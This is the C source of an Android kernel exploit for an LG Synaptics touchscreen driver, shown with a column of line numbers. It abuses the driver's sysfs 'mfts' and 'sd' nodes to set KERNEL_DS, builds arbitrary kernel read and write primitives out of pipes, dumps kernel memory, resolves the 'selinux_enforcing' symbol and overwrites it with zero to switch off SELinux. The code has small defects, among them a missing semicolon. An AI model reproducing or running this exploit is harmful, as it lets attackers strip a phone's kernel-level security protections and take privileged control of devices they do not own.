1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210

#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#include "kallsyms_in_memory.h"

static void hexdump(char* buf, size_t buf_len) {
  size_t i, j, line_base = 0;
  for (i = 0; i < buf_len; ++i) {
    if (i % 16 == 0) {
      if (i != line_base) {
        fprintf(stderr, "\n");
        line_base = i;
      }
      fprintf(stderr, "%04zx: ", i);
    }
    fprintf(stderr, "%02x ", ((int)buf[i] & 0xff));
  }
  fprintf(stderr, "\n");
}

static bool readn(int fd, char* buf, size_t buf_len) {
  char* ptr = buf;
  ssize_t result = 0;

  while (ptr < buf + buf_len) {
    result = read(fd, ptr, buf_len - (size_t)(ptr - buf));
    if (result < 0) {
      return false;
    }
    else {
      ptr += result;
    }
  }

  return true;
}

static bool writen(int fd, char* buf, size_t buf_len) {
  char* ptr = buf;
  ssize_t result = 0;

  while (ptr < buf + buf_len) {
    result = write(fd, ptr, buf_len - (size_t)(ptr - buf));
    if (result < 0) {
      return false;
    }
    else {
      ptr += result;
    }
  }

  return true;
}

static bool kreadall(char* address, char** out, size_t* out_len) {
  int pipe_fd[2];
  char* kptr = address;
  size_t read_len = 0;

  if (pipe(pipe_fd) < 0) {
    return false;
  }

  while (1) {
    if (*out_len < read_len + 0x1000) {
      *out_len += 0x10000;
      *out = realloc(*out, *out_len);
    }

    if (!writen(pipe_fd[1], kptr, 0x1000)) {
      break;
    }

    readn(pipe_fd[0], &(*out)[read_len], 0x1000);
    read_len += 0x1000;
    kptr += 0x1000;
  }

  close(pipe_fd[0]);
  close(pipe_fd[1]);

  return true;
}

static bool kreadn(char* address, void* buf, size_t buf_len) {
  int pipe_fd[2];

  if (pipe(pipe_fd) < 0) {
    return false;
  }

  if (!writen(pipe_fd[1], address, buf_len)) {
    return false;
  }

  readn(pipe_fd[0], buf, buf_len);

  close(pipe_fd[0]);
  close(pipe_fd[1]);

  return true;
}

static bool kwriten(char* address, void* buf, size_t buf_len) {
  int pipe_fd[2];

  if (pipe(pipe_fd) < 0) {
    return false;
  }

  writen(pipe_fd[1], buf, buf_len);

  if (!readn(pipe_fd[0], address, buf_len)) {
    return false;
  }

  close(pipe_fd[0]);
  close(pipe_fd[1]);

  return true;
}

static bool write_mfts() {
  bool result = true;
  int fd = 0;

  fd = open("/sys/devices/virtual/input/lge_touch/mfts", O_WRONLY);
  if (fd >= 0) {
    if (!writen(fd, "5", 2)) {
      fprintf(stderr, "[!] write failed!");
      result = false;
    }

    close(fd);
  } else {
    fprintf(stderr, "[!] open failed!");
    result = false;
  }

  return result;
}

static bool read_sd () {
  bool result = true;
  int fd = 0;
  char buf[0x1000];

  fd = open("/sys/devices/virtual/input/lge_touch/sd", O_RDONLY);
  if (fd >= 0) {
    if (0 > read(fd, buf, sizeof(buf))) {
      fprintf(stderr, "[!] read failed!");
      result = false;
    }

    close(fd);
  } else {
    fprintf(stderr, "[!] open failed!");
    result = false;
  }

  return result;
}

static bool set_kernel_ds() {
  if (!write_mfts()) {
    return false;
  }
  else if (!read_sd()) {
    return false;
  }

  return true;
}

int main(int argc, char** argv) {
  fprintf(stderr, "-- LG touchscreen_synaptics.c write_file kernel exploit --\n");
  fprintf(stderr, "[0] setting KERNEL_DS\n");
  if (set_kernel_ds()) {
    kallsyms* kernel_symbols = NULL;
    char* kernel = NULL;
    size_t kernel_len = 0;
    char* selinux_enforcing = NULL;
    int value = 0;

    fprintf(stderr, "[0] reading kernel\n");
    kreadall((char*)0xffffffc000080000ull, &kernel, &kernel_len);
    hexdump(kernel, 0x100);

    fprintf(stderr, "[0] parsing kallsyms\n");
    kernel_symbols = kallsyms_in_memory_init((unsigned long*)kernel, kernel_len);
    selinux_enforcing = (char*)kallsyms_in_memory_lookup_name(kernel_symbols, "selinux_enforcing")
    fprintf(stderr, "[0] address of selinux_enforcing %p\n", selinux_enforcing);
  
    kreadn(selinux_enforcing, &value, sizeof(value));
    fprintf(stderr, "[0] selinux_enforcing = %i\n", value);

    value = 0;
    kwriten(selinux_enforcing, &value, sizeof(value));
  }

  return 0;
}